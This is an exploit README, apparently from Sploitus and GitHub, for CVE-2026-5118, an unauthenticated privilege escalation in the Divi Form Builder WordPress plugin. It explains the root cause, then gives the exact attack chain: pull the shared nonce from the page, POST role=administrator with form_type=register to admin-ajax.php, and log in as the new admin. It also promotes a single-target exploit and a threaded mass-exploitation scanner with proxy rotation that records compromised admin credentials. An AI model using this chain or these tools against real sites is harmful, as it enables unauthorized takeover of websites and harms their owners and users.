Sploitus

Exploit for CVE-2026-5118

githubexploit Β· 2026-07-13

Exploit Code

README250 lines
## https://sploitus.com/exploit?id=5FBB679D-E2F2-5271-A7F0-8499C1EF09E2
CVE-2026-5118 β€” Divi Form Builder ≀ 5.1.2


  Unauthenticated Privilege Escalation via Role Injection
  === Beelze ( zeroday 1diot9 ) ===



  
  
  
  
  




---

## πŸ“‹ Vulnerability Info



| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-5118 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-269 β€” Improper Privilege Management |
| **Plugin** | Divi Form Builder (by Divi Engine) |
| **Affected** | All versions ≀ 5.1.2 |
| **Patched** | 5.1.3 (April 13, 2026) |
| **Published** | May 20, 2026 |
| **Researcher** | 0xd4rk5id3 β€” EnvoraSec |
| **PoC** | Beelze ( zeroday 1diot9 ) |



---

## πŸ” Description

The **Divi Form Builder** plugin for WordPress is vulnerable to **Unauthenticated Privilege Escalation** in all versions up to and including **5.1.2**.

The `create_user()` function inside `FormSubmissionHandler.php` accepts a user-controlled `role` parameter from POST data during user registration **without validating it against the form's configured `default_user_role` setting**. The only "protection" is `sanitize_text_field()` β€” which strips HTML tags and encoding, but does **nothing** to restrict the value to safe roles β€” followed by an existence check that merely verifies the role exists in WordPress (and `administrator` always does).

This triple failure allows unauthenticated attackers to:

1. Find **any** page with a Divi Form Builder form (contact, quote, newsletter β€” doesn't matter)
2. Extract the **global shared nonce** (`fb_nonce`) from the `de_fb_obj` JavaScript object
3. Override `form_type` to `register` via POST β€” turning any form into a registration endpoint
4. Inject `role=administrator` into the AJAX submission
5. Create a **full administrator account** with attacker-controlled credentials

> **Result:** Complete site takeover β€” zero authentication, zero user interaction, one POST request.

---

## 🧬 Root Cause Analysis

### 1. Unsanitized Role Intake from POST Data

```php
// includes/shared/handlers/FormSubmissionHandler.php β€” create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← ONLY strips tags/encoding!
    : 'subscriber';                              // ← 'administrator' passes CLEAN
```

`sanitize_text_field()` is designed for free-text sanitization (XSS prevention). It does **NOT** validate against an allowlist of safe roles. The string `"administrator"` contains no HTML tags, no special encoding β€” it passes through completely untouched.

### 2. Existence-Only Validation β€” Not a Security Check

```php
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← fallback ONLY if role doesn't exist
}
```

This check asks: _"Does this role exist in WordPress?"_ β€” and `administrator` **always exists**. It never asks the right question: _"Is this role safe for public self-registration?"_ A proper check would validate against an allowlist like `['subscriber', 'contributor']` or enforce the form's `default_user_role` setting.

### 3. Direct Role Assignment Without Capability Gate

```php
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← attacker-controlled role applied directly!
```

No `current_user_can('create_users')` check. No `current_user_can('promote_users')` check. No capability verification of any kind. The attacker-supplied role is passed straight to `set_role()`.

### 4. Global Shared Nonce β€” Exposed on Every Page with a Form

```php
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← SAME nonce on ALL forms, ALL pages
    // ...
]);
```

The `fb_nonce` is created via `wp_create_nonce('security')` β€” a generic action string shared across every single DFB form on the site. Any visitor can extract it from the page source by reading the `de_fb_obj` JavaScript object.

### 5. Form Type Override β€” Any Form Becomes a Registration Endpoint

```php
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← triggered by POST override!
}
```

The `form_type` is read from POST data, not from the server-side form configuration. An attacker can send `form_type=register` to **any** DFB AJAX submission β€” a contact form, a quote request, a newsletter signup β€” and the server will execute the registration code path. The form's original purpose is irrelevant.

---

## βš”οΈ Attack Chain

```
[Unauthenticated Attacker]
         β”‚
         β–Ό
   GET /any-page-with-dfb-form/
   ← HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
         β”‚
         β–Ό
   Extract fb_nonce from de_fb_obj JavaScript object
         β”‚
         β–Ό
   POST /wp-admin/admin-ajax.php
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  action    = de_fb_ajax_submit_ajax_handler  β”‚
   β”‚  fb_nonce  = abc123def0                      β”‚
   β”‚  role      = administrator        ← INJECTED β”‚
   β”‚  form_type = register          ← OVERRIDDEN  β”‚
   β”‚  user_login = attacker_admin                 β”‚
   β”‚  user_pass  = AttackerPass123!               β”‚
   β”‚  user_email = attacker@evil.com              β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
   sanitize_text_field('administrator') β†’ 'administrator'    βœ“ passes
   wp_roles()->roles['administrator'] exists? β†’ YES          βœ“ passes
   $user->set_role('administrator')                          βœ“ no capability check
         β”‚
         β–Ό
   ← {"success": true, "data": {"message": "User created"}}
         β”‚
         β–Ό
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 β†’ /wp-admin/
         β”‚
         β–Ό
   [Full Administrator Access] πŸ”₯
```

---

## πŸ› οΈ Tools

### `CVE-2026-5118.py` β€” Single Target Exploit

Full 5-phase exploit chain with automatic form discovery and nonce extraction.

```bash
python3 CVE-2026-5118.py
```

```
  Target URL: https://target.com
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [beelze@exploit.lab]:
  Timeout (seconds) [15]:
  SOCKS5 proxy (blank = none):
```

**Exploit Phases:**
```
Phase 1  β–Ά  Reachability (HTTPS + HTTP fallback)
Phase 2  β–Ά  Plugin Detection (readme.txt version check)
Phase 3  β–Ά  Form Discovery & Nonce Extraction
             β”œβ”€β”€ REST API page scan
             β”œβ”€β”€ Common path probing
             β”œβ”€β”€ Sitemap crawl
             └── Homepage link crawl
Phase 4  β–Ά  Role Injection (Privilege Escalation)
Phase 5  β–Ά  Admin Login Verification
```

**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target.com | beelze_admin:Beelze123!!@#!
```

---

### `CVE-2026-5118-mass.py` β€” Mass Scanner

Threaded mass exploitation with JSONL logging and resume support.

```bash
python3 CVE-2026-5118-mass.py
```

```
  Target file (one URL per line): targets.txt
  Username [beelze_admin]:
  Password [Beelze123!!@#!]:
  Email [beelze@exploit.lab]:
  Threads [10]:
  Timeout (seconds) [10]:
  Proxy file (SOCKS5, one per line, blank = none):
  Resume previous scan? (y/n) [n]:
```

**Features:**
- Multi-threaded scanning with configurable thread count
- SOCKS5 proxy rotation
- JSONL output for programmatic processing
- Resume support β€” skips already-scanned targets
- Rich progress bar with real-time stats
- Automatic HTTP fallback when HTTPS fails

**Output (`scan_results/CVE-2026-5118_success.txt`):**
```
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
```

---

## πŸ”’ Mitigation

- Update Divi Form Builder to version **5.1.3** or later
- The patch enforces that the role assigned is always the one configured server-side in the form's `default_user_role` setting, ignoring any user-supplied `role` parameter from POST data

---



**Beelze ( zeroday 1diot9 )** β€” for educational and authorized security research only